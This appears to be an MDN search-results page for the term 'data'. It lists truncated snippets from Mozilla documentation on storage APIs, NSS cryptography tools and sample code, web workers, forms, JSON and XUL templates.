sslerr.html
ssl_error_no_certificate -12285 "unable to find the certificate or key necessary for authentication." this error has many potential causes; for example: certificate or key not found in database.
... certificate not marked trusted in database and certificate's issuer not marked trusted in database.
... wrong password for key database.
...And 27 more matches
mozIStorageService
storage/public/mozistorageservice.idlscriptable this interface lets you open a mozistorageconnection to a database file, as well as create backups of an unopened database file.
... this is the only way to open a database connection.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) see mozistorageconnection method overview nsifile backupdatabasefile(in nsifile adbfile, in astring abackupfilename, [optional] in nsifile abackupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); methods backupdatabasefile() this method makes a backup of the specified file.
...And 27 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
any attempt to modify data or substitute a false message for a legitimate one will be detected.
...the client digitally signs a randomly generated piece of data and sends both the certificate and the signed data across the network.
... the server looks up the name and password in its local password database and, if they match, accepts them as evidence authenticating the user's identity.
...And 26 more matches
Adding a new todo form: Vue events, methods, and models - Learn web development
previous overview: client-side javascript frameworks next we now have sample data in place, and a loop that takes each bit of data and renders it inside a todoitem in our app.
... what we really need next is the ability to allow our users to enter their own todo items into the app, and for that we'll need a text <input>, an event to fire when the data is submitted, a method to fire upon submission to add the data and rerender the list, and a model to control the data.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...And 26 more matches
IndexedDB API - Web APIs
indexeddb is a low-level api for client-side storage of significant amounts of structured data, including files/blobs.
... this api uses indexes to enable high-performance searches of this data.
... while web storage is useful for storing smaller amounts of data, it is less useful for storing larger amounts of structured data.
...And 26 more matches
XUL element attributes - Archive of obsolete content
allownegativeassertions type: boolean valid on any element that has a datasources attribute.
... when multiple datasources are used, one may override an assertion from another.
... this attribute, if true, which is the default, allows a datasource to negate an earlier assertion.
...And 25 more matches
nss tech note5
encrypt/decrypt include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a cipher mechanism.
...if you choose something else, then data padding is the application's responsibility.
...h = ckm_des_cbc_pad <big>(for example)</big> choose a slot on which to to do the operation pk11slotinfo* slot = pk11_getbestslot(ciphermech, null); or pk11slotinfo* slot = pk11_getinternalkeyslot(); /* alwys returns internal slot, may not be optimal */ prepare the key if using a raw key /* turn the raw key into a secitem */ secitem keyitem; keyitem.data = /* ptr to an array of key bytes */ keyitem.len = /* length of the array of key bytes */ /* turn the secitem into a key object */ pk11symkey* symkey = pk11_importsymkey(slot, ciphermech, pk11_originunwrap, cka_encrypt, &keyitem, null); if generating the key - see...
...And 25 more matches
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
if we think of the water as data, then the spout represents an input stream: a controller for data coming out of something.
...that water line represents an output stream: a controller for data going into something.
... the actual data going in to and coming out of an object isn't usually important to a stream.
...And 25 more matches
nsIAnnotationService
toolkit/components/places/public/nsiannotationservice.idlscriptable stores arbitrary data about a web page.
...piration); void setpageannotationdouble(in nsiuri auri, in autf8string aname, in double avalue, in long aflags, in unsigned short aexpiration); void setitemannotationdouble(in long long aitemid, in autf8string aname, in double avalue, in long aflags, in unsigned short aexpiration); void setpageannotationbinary(in nsiuri auri, in autf8string aname,[const, array, size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, in long aflags, in unsigned short aexpiration); void setitemannotationbinary(in long long aitemid, in autf8string aname,[const, array, size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, in long aflags, in unsigned short aexpiration); nsivariant getpageannotation(in nsiu...
...geannotationint64(in nsiuri auri, in autf8string aname); long long getitemannotationint64(in long long aitemid, in autf8string aname); double getpageannotationdouble(in nsiuri auri, in autf8string aname); double getitemannotationdouble(in long long aitemid, in autf8string aname); void getpageannotationbinary(in nsiuri auri, in autf8string aname,[array, size_is(adatalen)] out octet adata, out unsigned long adatalen, out autf8string amimetype); void getitemannotationbinary(in long long aitemid, in autf8string aname,[array, size_is(adatalen)] out octet adata, out unsigned long adatalen, out autf8string amimetype); void getpageannotationinfo(in nsiuri auri, in autf8string aname, out print32 aflags, out unsigned short aexpiration, out autf8strin...
...And 25 more matches
Mail and RDF
mozilla mail exposes many of it's data structures to rdf through a few datasources.
... this allows exposure of mailnews-specific data to user interface using rdf templates.
... datasources we have a few primary datasources used in mail: nsmsgaccountdatasource - answers queries about arcs coming out of msgaccounts:/.
...And 25 more matches
WebRTC API - Web APIs
webrtc (web real-time communication) is a technology which enables web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary.
... the set of standards that comprise webrtc makes it possible to share data and perform teleconferencing peer-to-peer, without requiring that the user installs plug-ins or any other third-party software.
...the documentation you'll find here will help you understand the fundamentals of webrtc, how to set up and use both data and media connections, and more.
...And 25 more matches
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
both can be used to create tables of data with multiple rows and columns, and both may contain column headers.
... the second part, the tree body, contains the data to appear in the tree and is created with a treechildren tag.
... the tree is unique in that the body of the tree consists only of a single widget which draws all of the data in the tree.
...And 24 more matches
Client-Server Overview - Learn web development
an html file, a particular data point on the server, or a tool to run).
... a method that defines the required action (for example, to get a file or to save or update some data).
...add a new article to a wiki, add a new contact to a database).
...And 24 more matches
Mozilla DOM Hacking Guide
the array sclassinfodata, defined in nsdomclassinfo.cpp, maps each dom class to its helper class and to the interfaces that are exposed to javascript.
... it is an array of type nsdomclassinfodata, which is a structure defined in nsidomclassinfo.h.
... the array uses two macros to define its items: ns_define_classinfo_data and ns_define_classinfo_data_with_name.
...And 24 more matches
NSS tools : pk12util
nss tools : pk12util name pk12util — export and import keys and certificate to or from a pkcs #12 file and the nss database synopsis pk12util [-i p12file|-l p12file|-o p12file] [-d [sql:]directory] [-h tokenname] [-p dbprefix] [-r] [-v] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
... the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys.
... options and arguments options -i p12file import keys and certificates from a pkcs#12 file into a security database.
...And 24 more matches
NSS tools : pk12util
name pk12util — export and import keys and certificate to or from a pkcs #12 file and the nss database synopsis pk12util [-i p12file [-h tokenname] [-v] [common-options] ] [ -l p12file [-h tokenname] [-r] [common-options] ] [ -o p12file -n certname [-c keycipher] [-c certcipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [common-options] ] [ common-options are: [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] ] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
... the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys.
... options and arguments options -i p12file import keys and certificates from a pkcs#12 file into a security database.
...And 24 more matches
Event reference
error a websocket connection has been closed with prejudice (some data couldn't be sent for example).
... canplay the browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
... loadeddata the first frame of the media has finished loading.
...And 24 more matches
RDF Modifications - Archive of obsolete content
« previousnext » one of the most useful aspects of using templates with rdf datasources is that when the rdf datasource changes, for instance a new triple is added, or a triple is removed, the template updates accordingly, adding or removing result output as needed.
...this involves a third type of observer involved in a template builder, an nsirdfobserver, used to listen for modifications to the rdf datasource.
...when the datasource is modified, the datasource will notify any observers of the change.
...And 23 more matches
Index - Learn web development
56 client-side web apis api, articles, beginner, codingscripting, dom, graphics, javascript, landing, learn, media, module, webapi, data when writing client-side javascript for web sites or applications, you will quickly encounter application programming interfaces (apis).
... apis are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other web sites or services.
... 59 fetching data from the server api, article, beginner, codingscripting, fetch, json, javascript, learn, promises, server, xhr, xml, xmlhttprequest, data, request this article shows how to start working with both xhr and fetch to fetch data from the server.
...And 23 more matches
Server-side web frameworks - Learn web development
they provide tools and libraries that simplify common web development tasks, including routing urls to appropriate handlers, interacting with databases, supporting sessions and user authorization, formatting output (e.g.
... urlpatterns = [ url(r'^$', views.index), # example: /best/myteamname/5/ url(r'^best/(?p<team_name>\w.+?)/(?p<team_number>[0-9]+)/$', views.best), ] make it easy to access data in the request data can be encoded in an http request in a number of ways.
... an http get request to get files or data from the server may encode what data is required in url parameters or within the url structure.
...And 23 more matches
Introduction to NSPR
this arrangement implies that a system thread should not have volatile data that needs to be safely stored away.
... threads can also have "per-thread-data" attached to them.
...it's also possible for nspr clients to define their own per-thread-data.
...And 23 more matches
JSAPI User Guide
spidermonkey provides a few core javascript data types—numbers, strings, arrays, objects, and so on—and a few methods, such as array.push.
...it can compile and execute scripts, get and set object properties, call javascript functions, convert javascript data from one type to another, create objects, and so on.
...the jsapi provides a data type, js::value (also with a deprecated jsval typedef), which can contain javascript values of any type.
...And 23 more matches
Dragging and Dropping Multiple Items - Web APIs
caution: all of the methods and properties with a moz prefix (such as mozsetdataat() are gecko specific interfaces.
...these are methods that mirror the types property as well as the getdata(), setdata() and cleardata() methods, however, they take an additional argument that specifies the index of the item to retrieve, modify or remove.
... the drag processing described in this document use the datatransfer interface.
...And 23 more matches
context-menu - Archive of obsolete content
therefore, to handle an item click, listen for the "click" event in that item's content script like so: require("sdk/context-menu").item({ label: "my item", contentscript: 'self.on("click", function (node, data) {' + ' console.log("item clicked!");' + '});' }); note that the listener function has parameters called node and data.
... for example, suppose your add-on looks like this: var script = "self.on('click', function (node, data) {" + " console.log('clicked: ' + node.nodename);" + "});"; var cm = require("sdk/context-menu"); cm.item({ label: "body context", context: cm.selectorcontext("body"), contentscript: script }); this add-on creates a context-menu item that uses selectorcontext to display the item whenever the context menu is activated on any descendant of the <body> element.
... if you run this add-on you'll see that it always logs "body", even if you click on a paragraph element inside the page: info: contextmenu-example: clicked: body by contrast, this add-on uses the pagecontext: var script = "self.on('click', function (node, data) {" + " console.log('clicked: ' + node.nodename);" + "});"; var cm = require("sdk/context-menu"); cm.item({ label: "body context", context: cm.pagecontext(), contentscript: script }); it will log the name of the actual node clicked: info: contextmenu-example: clicked: p the "data" argument data is the data property of the menu item that was clicked.
...And 22 more matches
Promises - Archive of obsolete content
representative example usage components.utils.import("resource://gre/modules/osfile.jsm"); task.spawn(function* () { // retrieve file metadata to check modification time.
... let processor = new fileprocessor(); for (let file of files) { let data = yield os.file.read(file); processor.add(data); } // now write the processed files back out, as a binary blob.
... let resp = yield new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = resolve; xhr.onerror = reject; xhr.open("get", dataurl); xhr.responsetype = "json"; xhr.send(); }); let data = resp.target.response; // use the response to construct form data object for the // second request.
...And 22 more matches
Introduction to SSL - Archive of obsolete content
the document assumes that you are familiar with the basic concepts of public-key cryptography, as summarized in "introduction to public-key cryptography." the ssl protocol the transmission control protocol/internet protocol (tcp/ip) governs the transport and routing of data over the internet.
...in addition, all data sent over an encrypted ssl connection is protected with a mechanism for detecting tampering-that is, for automatically determining whether the data has been altered in transit.
...the ssl record protocol defines the format used to transmit data.
...And 22 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
armed with some basic java knowledge, you can extend javascript to include some of the most desired capability such as database access, remote web requests, and xml processing.
... we’ll start by taking a look at querying a sql database.
... this first example we’ll demonstrate is querying a mysql database for some employee contact information.
...And 22 more matches
mozIAsyncFavicons
method overview void getfaviconurlforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void getfavicondataforpage(in nsiuri apageuri, in nsifavicondatacallback acallback); void setandfetchfaviconforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); void replacefavicondata(in nsiuri afaviconuri, [const,array,si...
...ze_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime aexpiration); void replacefavicondatafromdataurl(in nsiuri afaviconuri, in astring adataurl, [optional] in prtime aexpiration); methods getfaviconurlforpage() retrieve the url of the favicon for the given page.
... void getfaviconurlforpage( in nsiuri apageuri, in nsifavicondatacallback acallback ); parameters apageuri uri of the page whose favicon's url we're looking up.
...And 22 more matches
Pixel manipulation with canvas - Web APIs
with the imagedata object you can directly read and write a data array to manipulate pixel data.
... the imagedata object the imagedata object represents the underlying pixel data of an area of a canvas object.
... data a uint8clampedarray representing a one-dimensional array containing the data in the rgba order, with integer values between 0 and 255 (included).
...And 22 more matches
Using Web Workers - Web APIs
but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb.
... data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data attribute.) the data is copied rather than shared.
... in the worker, we can respond when the message is received by writing an event handler block like this (worker.js): onmessage = function(e) { console.log('message received from main script'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main script'); postmessage(workerresult); } the onmessage handler allows us to run some code whenever a message is received, with the message itself being available in the message event's data attribute.
...And 22 more matches
Your first form - Learn web development
overview: forms next the first article in our series provides you with your very first experience of creating a web form, including designing a simple form, implementing it using the right html form controls and other html elements, adding some very simple styling via css, and describing how data is sent to a server.
...forms allow users to enter data, which is generally sent to a web server for processing and storage (see sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a ui feature).
...designing a quick mockup will help you to define the right set of data you want to ask your user to enter.
...And 21 more matches
HTTP Cache
currently we have 3 types of storages, all the access methods return an nsicachestorage object: memory-only (memorycachestorage): stores data only in a memory cache, data in this storage are never put to disk disk (diskcachestorage): stores data on disk, but for existing entries also looks into the memory-only storage; when instructed via a special argument also primarily looks into application caches application cache (appcachestorage): when a consumer has a specific nsiapplicationcache (i.e.
...also provides methods to clear the whole disk and memory cache content or purge any intermediate memory structures: clear – after it returns, all entries are no longer accessible through the cache apis; the method is fast to execute and non-blocking in any way; the actual erase happens in background purgefrommemory – removes (schedules to remove) any intermediate cache data held in memory for faster access (more about the intermediate cache below) nsiloadcontextinfo distinguishes the scope of the storage demanded to open.
... provides access to a cached entry data and meta data for reading or writing or in some cases both, see below.
...And 21 more matches
Storage
storage is a sqlite database api.
... note: storage is not the same as the dom:storage feature which can be used by web pages to store persistent data or the session store api (an xpcom storage utility for use by extensions).
... open a connection to the database of your choice - mozistorageconnection.
...And 21 more matches
Working with windows in chrome code
it contains tips and example code on opening new windows, finding an already opened window, and passing data between different windows.
...=== example: opening a window only if it's not opened already === xxx tbd passing data between windows when working with multiple windows, you often need to pass information from one window to another.
... there are several techniques of varying power and simplicity that can be used to share data.
...And 21 more matches
Tree View Details - Archive of obsolete content
<window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> </window> we use a simple tree here with no data in the treechildren.
...first we'll define two structures to hold the data for the tree, the first will hold a map between parents and the children they contain, and the second will hold an array of the visible items.
... var treeview = { childdata : { solids: ["silver", "gold", "lead"], liquids: ["mercury"], gases: ["helium", "nitrogen"] }, visibledata : [ ["solids", true, false], ["liquids", true, false], ["gases", true, false] ], }; the childdata structure holds an array of the children for each of the three parent nodes.
...And 20 more matches
Sqlite.jsm
this function takes an object defining connection options: path (required) the database file to open.
...if the path does not exist, a new sqlite database will be created.
... sharedmemorycache (optional) boolean indicating whether multiple connections to the database share the same memory cache.
...And 20 more matches
imgIContainer
as a service: var imgicontainer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.imgicontainer); method overview void addrestoredata([array, size_is(acount), const] in char data, in unsigned long acount); native code only!
... obsolete since gecko 2.0 void appendframe(in print32 ax, in print32 ay, in print32 awidth, in print32 aheight, in gfximageformat aformat, [array, size_is(imagelength)] out pruint8 imagedata, out unsigned long imagelength); native code only!
... obsolete since gecko 2.0 void appendpalettedframe(in print32 ax, in print32 ay, in print32 awidth, in print32 aheight, in gfximageformat aformat, in pruint8 apalettedepth, [array, size_is(imagelength)] out pruint8 imagedata, out unsigned long imagelength, [array, size_is(palettelength)] out pruint32 palettedata, out unsigned long palettelength); native code only!
...And 20 more matches
Browser storage limits and eviction criteria - Web APIs
there are a number of web technologies that store data of one kind or another on the client-side (i.e., on your local disk).
... the process by which the browser works out how much space to allocate to web data storage and what to delete when that limit is reached is not simple, and differs between browsers.
...opera mini (still presto-based, server-side rendering) doesn't store any data on the client.
...And 20 more matches
Writing WebSocket servers - Web APIs
this is important because security issues might arise if the server accepts a websockets connection but interprets the data as a http request.
...once the server sends these headers, the handshake is complete and you can start swapping data!
... for example, you might keep a table of usernames or id numbers along with the corresponding websocket and other data that you need to associate with that connection.
...And 20 more matches
How to convert an overlay extension to restartless - Archive of obsolete content
the resource:// protocol actually bleeds into content which allows webpages to detect installed add-ons using the protocol, which is not particularly fantastic (just the static file contents, not any loaded script/data).
... if you need to read data, or otherwise access files within your bundle, there are two options.
... a file:// uri to the install location, or .xpi file, is available in installpath property of the bootstrap data structure passed to the startup(), shutdown(), install(), and uninstall() functions in what will be your bootstrap.js file (see below).
...And 19 more matches
Multiprocess on Windows
interceptors cannot replicate interfaces without access to the metadata that describes those interfaces.
... since we are using com, we already generate metadata by declaring interfaces using midl.
... com metadata midl outputs two different types of metadata: "fast format strings" (also known as oicf) and (optionally, if a library statement is included in the idl) type libraries (also known as typelib).
...And 19 more matches
Encrypt Decrypt MAC Keys As Session Objects
cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tok...
...enkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac...
..., type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters from the header file */ secstatus readfromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filename); return secfail...
...And 19 more matches
Encrypt and decrypt MAC using token
cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tok...
...enkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac...
..., type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters from the header file */ secstatus readfromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filename); return secfail...
...And 19 more matches
Encrypt Decrypt_MAC_Using Token
*/ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key.
... */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing.
... */ secstatus readfromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filename); return secfail...
...And 19 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tok...
...enkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac...
..., type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters from the header file */ secstatus readfromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; prfiledesc* file; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char header[40]; char trailer[40]; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open %s\n", filename); return secfail...
...And 19 more matches
NSS PKCS11 Functions
secmod_closeuserdb close an already opened user database.
... note: the database must be in the internal token, and must be one created with secmod_openuserdb().
... once the database is closed, the slot will remain as an empty slot until it's used again with secmod_openuserdb().
...And 19 more matches
History Service Design
objectives the primary objectives of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views.
...this involves storing informations on all of the user's visits, including visit time, type of visit and meta data.
...the system should be customizable enough to allow creation of custom, calendar and graphical views based on queries executed through a common api upon underlying data.
...And 19 more matches
Starting WebLock
the method at the core of this interface is observe: void observe(in nsisupports asubject, in string atopic, in wstring adata); there aren't really any restrictions on what the three parameters (asubject, atopic and adata) may represent.
...for example, in the case of the xpcom shutdown observation, asubject and adata are not defined, and atopic is defined as the string "xpcom-shutdown".
... ns_imethodimp weblock::observe(nsisupports *asubject, const char *atopic, const prunichar *adata) { return ns_ok; } notification via the observer service is somewhat indirect.
...And 19 more matches
nsIXULTemplateQueryProcessor
content/xul/templates/public/nsixultemplatequeryprocessor.idlscriptable a query processor takes a template query and generates results for it given a datasource and a reference point.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) a query processor takes a template query and generates results for it given a datasource and a reference point.
...the template builder will supply two variables, the reference variable and the member variable to further indicate what part of the datasource is to be examined in addition to the query itself.
...And 19 more matches
IDBObjectStoreSync - Web APIs
the idbobjectstoresync interface of the indexeddb api provides synchronous access to an object store of a database.
... method overview any add (in any value, in optional any key) raises (idbdatabaseexception); idbindexsync createindex (in domstring name, in domstring storename, in domstring keypath, in optional boolean unique); any get (in any key) raises (idbdatabaseexception); idbcursorsync opencursor (in optional idbkeyrange range, in optional unsigned short direction) raises (idbdatabaseexception); idbindexsync openindex (in domstring name) raises (idbdatabaseexception); any put (in any value, in optional any key) raises (idbdatabaseexception); void remove (in any key) raises (idbdatabaseexception); void removeindex (in domstring indexname) raises (idbdatabaseexception); attributes attribute type descriptio...
... mode readonly unsigned short the mode for isolating access to the data in this object store.
...And 19 more matches
MIME types (IANA media types) - HTTP
no whitespace is allowed in a mime type: type/subtype the type represents the general category into which the data type falls, such as video or text.
... the subtype identifies the exact kind of data of the specified type the mime type represents.
... an optional parameter can be added to provide additional details: type/subtype;parameter=value for example, for any mime type whose main type is text, the optional charset parameter can be used to specify the character set used for the characters in the data.
...And 19 more matches
Template Logging - Archive of obsolete content
for example, if you spell a value wrong, no data may be returned, but the template system won't know that that this was because of a spelling error, or simply that there shouldn't be any data anyway.
...the first debugging method involves logging all new results that apply to the template due to the data changing as well as logging results that are changed or removed.
...<vbox datasources="..." flags="logging"/> the flags attribute on the root element of the template should include the logging flag.
...And 18 more matches
Working with JSON - Learn web development
previous overview: objects next javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax.
... it is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa).
... you'll come across it quite often, so in this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json.
...And 18 more matches
Creating our first Vue component - Learn web development
along the way, we'll learn about a few important concepts such as calling components inside other components, passing data to them via props, and saving data state.
... vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
... objective: to learn how to create a vue component, render it inside another component, pass data into it using props, and save its state.
...And 18 more matches
EncDecMAC using token object - sample 3
status rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symm...
